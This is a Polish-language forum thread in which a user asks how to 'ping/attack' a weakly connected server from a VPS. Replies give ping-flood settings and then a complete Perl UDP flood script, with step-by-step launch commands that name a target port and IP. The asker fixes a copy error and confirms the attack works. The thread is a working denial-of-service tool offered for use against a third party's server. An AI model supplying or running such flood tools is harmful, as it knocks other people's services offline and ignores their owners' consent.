Pingowanie/atak z Linuxa

Honror

Użytkownik
Dołączył
Sierpień 1, 2013
Posty
10
Witam. Posiadam serwer VPS z Linuxem. Nielimitowany transfer i łącze 100 mb/s. Chciałbym z niego pingować/atakować pewien serwer. Jest on na słabym łączu i pingowanie ze zwykłej konsoli na Windowsie pokazuje ping w okolicach 500ms. Chciałbym się dowiedzieć jak pingować dane IP na Linuxie lub jak zpingować IP na danym porcie IP:port.
 

Honror

Użytkownik
Dołączył
Sierpień 1, 2013
Posty
10
Nie mam takiego polecenia jak nc, ale zrobiłem tym drugim sposobem. Jak mogę zwiększyć ilość wysyłanych pakietów? Ping nie jest duży tylko skacze czasami do 500 ms.
 

maciejkaczkowski

Użytkownik
Dołączył
Listopad 15, 2012
Posty
34
otwórz kilka sesji ssh. ping -i 0.2 to zmiana czasu pomiędzy kolejnymi pakietami, jeśli jesteś rootem to możesz zmniejszyć tą wartość do np 0.01 (zabezpieczenie przed floodem). Możesz także użyć -s z rozmiarem pakietu, wówczas wysyłasz duża ilość, dużych pakietów.
 

Fatality`

Użytkownik
Dołączył
Lipiec 17, 2013
Posty
14
ping -i 0.2 -s 9999 IP i serwerek padł po 5 minutach. ;)

Tobie mózg padł po 5 minutach, widzę w temacie odpowiadają same trolle i gimbusy...

@Topic nie słuchaj ich

otwórz sobie FTP/SFTP na serwerze utwórz nowy plik o nazwie flood.pl a do niego wklej to

#!/usr/bin/perl
#####################################################
# udp flood.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw = 0;
our $help = 0;
our $delay= 0;

GetOptions(
"port=i" => \$port, # UDP port to use, numeric, 0=random
"size=i" => \$size, # packet size, number, 0=random
"bandwidth=i" => \$bw, # bandwidth to consume
"time=i" => \$time, # time to run
"delay=f"=> \$delay, # inter-packet delay
"help|?" => \$help); # help


my ($ip) = @ARGV;

if ($help || !$ip) {
print <<'EOL';
flood.pl --port=dst-port --size=pkt-size --time=secs
--bandwidth=kbps --delay=msec ip-address

Defaults:
* random destination UDP ports are used unless --port is specified
* random-sized packets are sent unless --size or --bandwidth is specified
* flood is continuous unless --time is specified
* flood is sent at line speed unless --bandwidth or --delay is specified

Usage guidelines:
--size parameter is ignored if both the --bandwidth and the --delay
parameters are specified.

Packet size is set to 256 bytes if the --bandwidth parameter is used
without the --size parameter

The specified packet size is the size of the IP datagram (including IP and
UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.

Warnings and Disclaimers:
Flooding third-party hosts or networks is commonly considered a criminal activity.
Flooding your own hosts or networks is usually a bad idea
Higher-performace flooding solutions should be used for stress/performance tests
Use primarily in lab environments for QoS tests
EOL
exit(1);
}

if ($bw && $delay) {
print "WARNING: computed packet size overwrites the --size parameter ignored\n";
$size = int($bw * $delay / 8);
} elsif ($bw) {
$delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "Break with Ctrl-C\n" unless $time;

die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
usleep(1000 * $delay) if $delay;
}


zapisz i nadaj chmod 777

atakujesz komendą

./flood.pl --port (port ktory atakujesz normalnie to 80) --size (1300 nie zmieniac) --time (czas w sekundach) (tutaj ip bez nawiasów)

a tu jak to wygląda w praktyce (przykład)

./flood.pl --port 80 --size 1300 --time 300 8.8.8.8
 

Honror

Użytkownik
Dołączył
Sierpień 1, 2013
Posty
10
Nie żartuję. Freez serwera i po wszystkim. Ten twój kod coś nie działa


Global symbol "%endtime" requires explicit package name at ./flood.pl line 83.
syntax error at ./flood.pl line 85, near "$pport "
syntax error at ./flood.pl line 88, near "$delay;"
Execution of ./flood.pl aborted due to compilation errors.
 
Ostatnia edycja:

Fatality`

Użytkownik
Dołączył
Lipiec 17, 2013
Posty
14
Nie żartuję. Freez serwera i po wszystkim. Ten twój kod coś nie działa


Global symbol "%endtime" requires explicit package name at ./flood.pl line 83.
syntax error at ./flood.pl line 85, near "$pport "
syntax error at ./flood.pl line 88, near "$delay;"
Execution of ./flood.pl aborted due to compilation errors.

Działa :) testowany nie jednokrotnie ^^ po 1 musisz miec Linuxa/Unixa i zainstalowanego na nim perla...

btw.. wklej mi tutaj jaką linie uruchamiającą skrypt podałeś? dokladnie skopiuj to co wpisałeś i wklej..
 

Honror

Użytkownik
Dołączył
Sierpień 1, 2013
Posty
10
Problem był taki, że w 83 linijce tego kodu wstawił się uśmiech, a gdy ja go kopiowałem to bez znaków ; ). Dodałem je przed chwilą i chyba działa. Ma być np. takie coś

Flooding 8.8.8.8 80 port with 1300-byte packets for 3 seconds

Cały czas taką informację mam, a po skończonym czasie się wyłącza. Tak ma być?

//Edit: Działa bardzo dobrze. Dzięki!
 
Ostatnia edycja:
Do góry Bottom